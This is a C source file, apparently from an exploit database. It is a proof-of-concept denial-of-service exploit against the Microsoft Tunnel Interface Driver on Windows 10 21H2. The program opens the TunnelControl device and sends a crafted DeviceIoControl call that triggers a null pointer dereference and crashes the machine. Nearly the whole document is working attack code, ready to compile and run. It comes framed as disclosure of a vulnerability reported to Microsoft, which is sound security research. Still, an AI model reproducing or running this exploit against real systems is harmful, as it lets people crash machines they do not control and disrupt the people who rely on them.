// Exploit Title: Tunnel Interface Driver - Denial of Service
// Date: 07/15/2022
// Exploit Author: ExAllocatePool2
// Vendor Homepage: https://www.microsoft.com/
// Software Link: https://www.microsoft.com/en-us/software-download/windows10
// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)
// Tested on: Microsoft Windows
// GitHub Repository: https://github.com/Exploitables/MSRC-1

#include <Windows.h>
#include <stdio.h>

#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"

int main(int argc, char** argv);

int main(int argc, char** argv)
{
  HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);
  unsigned long long input_output = 0x4242424242424242;
  unsigned long bytes_returned = 0x43434343;
  unsigned char unused = 0;

  SetConsoleTitleA("https://msrc.microsoft.com/");

  printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");

  if (h_driver == (HANDLE)-1)
  {
    printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
    unused = getchar();
    return 1;
  }
  printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);

  printf("\n[!] Triggering a denial of service via arbitrary read in 3...");
  for (int i = 2; i > 0; i--)
  {
    Sleep(1000);
    printf("\n[!] %d...", i);
  }

  DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);

  unused = getchar();
  printf("\n[-] Exploit failed. The machine should have crashed.");
  return 0;
}